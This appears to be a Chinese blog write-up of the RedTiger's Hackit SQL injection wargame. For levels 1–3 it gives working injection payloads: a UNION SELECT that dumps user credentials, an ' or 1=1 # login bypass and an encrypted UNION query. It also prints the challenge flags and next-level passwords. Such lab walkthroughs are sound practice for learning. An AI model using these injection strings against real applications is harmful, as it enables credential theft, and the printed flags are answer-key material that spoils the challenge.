RedTiger's Hackit wirteup

sql注入挑战

level1

简单注入,payload:

http://redtiger.labs.overthewire.org/level1.php?cat=0 union select 1,2,username,password from level1_users

返回

Hornoxe

thatwaseasy

登录后显示

You made it!

You can raise your wechall.net score with this flag: 27cbddc803ecde822d87a7e8639f9315

The password for the next level is: passwords_will_change_over_time_let_us_do_a_shitty_rhyme

 

level2

万能密码登录bs抓包改POST内容:username=admin&password=' or 1=1 # &login=Login

You can raise your wechall.net score with this flag: 1222e2d4ad5da677efb188550528bfaa

The password for the next level is: feed_the_cat_who_eats_your_bread

 

level3

输入数组显示报错信息

Warning: preg_match() expects parameter 2 to be string, array given in /var/www/html/hackit/urlcrypt.inc on line 26

构造http://redtiger.labs.overthewire.org/urlcrypt.inc 得到源码

用源码加密明文' union select 1,password,2,3,4,5,6 from level3_users where username=’Admin

后构造payload

http://redtiger.labs.overthewire.org/level3.php?usr=MDc2MTUxMDIyMTc3MTM5MjMwMTQ1MDI0MjA5MTAwMTc3MTUzMDc0MTg3MDk1MDg0MjQzMDE3MjUyMDI1MTI2MTU2MTc2MTMzMDAwMjQ2MTU2MjA4MTgyMDk2MTI5MjIwMDQ5MDUyMjMwMTk4MTk2MTg5MTEzMDQxMjQwMTQ0MDM2MTQwMTY5MTcyMDgzMjQ0MDg3MTQxMTE1MDY2MTUzMjE0MDk1MDM4MTgxMTY1MDQ3MTE4MDg2MTQwMDM0MDg1MTE4MTE4MDk5MjIyMjE4MDEwMTkwMjIwMDcxMDQwMjIw

得到

Show userdetails:

Username:         thisisaverysecurepasswordEEE5rt

First name:         5

Name:         6

ICQ:         4

Email:         3

登录得到

Login correct. You are admin :);

You can raise your wechall.net score with this flag: a707b245a60d570d25a0449c2a516eca

The password for the next level is: put_the_kitten_on_your_head

 

level4

盲注

 

Level5

登录过滤

待续

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值